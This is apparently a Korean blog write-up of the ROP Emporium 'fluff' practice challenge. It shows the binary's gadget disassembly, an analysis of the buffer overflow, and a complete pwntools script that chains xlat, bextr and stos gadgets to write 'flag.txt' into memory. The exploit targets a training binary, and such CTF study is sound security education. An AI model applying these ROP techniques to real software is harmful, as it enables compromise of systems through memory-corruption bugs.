728x90
반응형
1. intro
2. code 및 분석
2.1. code
questionableGadgets
0x0000000000400628 <+0>: xlat %ds:(%rbx)
0x0000000000400629 <+1>: ret
0x000000000040062a <+2>: pop %rdx
0x000000000040062b <+3>: pop %rcx
0x000000000040062c <+4>: add $0x3ef2,%rcx
0x0000000000400633 <+11>: bextr %rdx,%rcx,%rbx
0x0000000000400638 <+16>: ret
0x0000000000400639 <+17>: stos %al,%es:(%rdi)
0x000000000040063a <+18>: ret
0x000000000040063b <+19>: nopl 0x0(%rax,%rax,1)
2.2. 분석
마찬가지로 앞선 문제와 거의 대동소이하다.
다만, 이번에는 주어진 gadget이 뭔가 알 수 없는 어셈블리어이다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer overflow
3.2. 공격 준비
개인적으로 어셈블리어를 다양하게 활용할 수 있겠다는 생각이 든 문제이다.
주어진 어셈블리어를 보면 아래와 같다.
0x0000000000400628 <+0>: xlat %ds:(%rbx) #rbx + ds offset 위치의 값을 al에 넣는다.
0x0000000000400629 <+1>: ret
0x000000000040062a <+2>: pop %rdx
0x000000000040062b <+3>: pop %rcx
0x000000000040062c <+4>: add $0x3ef2,%rcx
0x0000000000400633 <+11>: bextr %rdx,%rcx,%rbx #특정 연산 이후 그 값을 rbx에 넣는다.
0x0000000000400638 <+16>: ret
0x0000000000400639 <+17>: stos %al,%es:(%rdi) #rdi 위치에 al 값을 넣는다
0x000000000040063a <+18>: ret
0x000000000040063b <+19>: nopl 0x0(%rax,%rax,1)
사실 bextr가 어떻게 연산이 진행되는지 잘 모르겠다.
하지만, 전체적인 모양은
bextr를 통한 rbx에 참고할 string의 위치를 넣기
xlat을 통해 해당 값을 al에 넣기
pop rdi ret gadget으로 값을 삽입하기 위한 주소 넣기
stos를 통해 rdi에 al 값 쓰기
가 될 것이다.
이를 어떻게든 맞춰서 flag.txt를 만들어줬다.
4. exploit
from pwn import *
p = process('./fluff')
bss = 0x601100
test = 0x40062a
rdi = 0x4006a3
bextr = 0x40062a
stos = 0x400639
xlat = 0x400628
string = 0x4003c1
pay = b'A'*8*5
#f 66
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string+22-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss)
pay += p64(stos)
#
#l 6c
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8*4+2-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+1)
pay += p64(stos)
#
#a 61
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8*5+7 -0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+2)
pay += p64(stos)
#
#g 67
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50-3-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+3)
pay += p64(stos)
#
#. 2e
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8*5-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+4)
pay += p64(stos)
#
#t 74
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x20+6-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+5)
pay += p64(stos)
#
#x 78
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x200+17-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+6)
pay += p64(stos)
#
#t 74
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+7)
pay += p64(stos)
pay += p64(rdi)
pay += p64(bss)
pay += p64(0x0000000000400620)
#
p.sendafter(b'> ',pay)
p.interactive()
728x90
반응형
'Wargame > ROP Emporium' 카테고리의 다른 글
ret2csu (0) | 2023.07.07 |
---|---|
pivot (0) | 2023.07.07 |
badchar (0) | 2023.07.07 |
write4 (0) | 2023.07.07 |
callme (0) | 2023.07.07 |